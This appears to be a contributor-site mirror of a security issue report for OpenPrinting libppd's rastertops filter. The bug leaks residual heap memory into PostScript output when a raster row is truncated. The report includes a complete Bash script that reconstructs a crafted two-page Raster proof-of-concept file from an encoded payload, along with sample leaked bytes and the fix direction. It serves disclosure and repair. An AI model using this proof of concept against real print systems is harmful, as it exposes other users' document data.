OpenPrinting / OpenPrinting/libppd
rastertops: a truncated row leaks residual heap data into PostScript
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 5
- Forks
- 29
- PR merge metrics
- No merged PRs in 30d
Description
Summary
ppdFilterRasterToPS() ignores a short raster-row read and compresses the
entire uninitialized row buffer into its PostScript output. A two-page Raster
document whose first page contains a marker and whose second page contains
only a header makes the second page expose allocator data and residual bytes
from the first page.
The document alone reaches the normal standalone rastertops filter. The
confidentiality impact depends on access to the generated PostScript stream.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.ras contains two 64x1 K8 CUPS Raster v3 pages. Page one has a
controlled marker; page two has no pixel body. It is 3,660 bytes with SHA-256
706e6187a4b46ab57b93b56fd3c6c3a52c4052f66c8d7aa7e9ed5f7fbbb8b75b.
Run:
./reproduce.sh
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: rastertops: a truncated row leaks residual heap data into PostScript
# Finding ID: rastertops-truncated-row-heap-disclosure
# Trigger: ppdFilterRasterToPS() ignores a short raster-row read and
# compresses the entire uninitialized row buffer into its PostScript output. A
# two-page Raster document whose first page contains a marker and whose second
# page contains only a header makes the second page expose allocator data and
# residual bytes from the first page.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.ras (3660 bytes)
write_file document.ras 706e6187a4b46ab57b93b56fd3c6c3a52c4052f66c8d7aa7e9ed5f7fbbb8b75b <<'POC_PAYLOAD_0'
H4sIAAAAAAACAwtKDDZmGGAQkJOYmUeBfqecxORsqruKUQeC4cABJEiKAQT0IotxQLEDlM+MxQxG
+wagX4EYRI+CUTAKRsEooA7wcXX01vV1DPJ2DdI1MDQyNjE1M7ewTExKTklNI0ZutA4drUNHwSgY
BaNgpAIAVQd2MkwOAAA=
POC_PAYLOAD_0
Result
Both PostScript image streams decompress to 64 bytes. The first is controlled:
LEAK-MARKER-0123456789abcdef...
The second begins with changing allocator bytes and retains the first page's
tail, for example:
997688b2cf60000000000000000000003435363738396162636465664c45414b...
Repeated runs change the second-page hash while preserving residual marker
fragments.
Cause and expected behavior
write_flate() allocates PixelBuffer at rastertops.c:270, ignores the
return value from cupsRasterReadPixels() at line 271, and then copies and
compresses a complete row at lines 280-290. The second page reuses a heap
chunk whose contents were never replaced by raster data.
The filter must treat any short row as a truncated document, stop the page,
and avoid serializing the unread portion of PixelBuffer.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in rastertops.c around write_flate() at lines 270-290, then run reproduce.sh with the provided poc/document.ras. Done means a short raster-row read is treated as a truncated document and the unread portion is absent from the generated PostScript image stream.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 72/100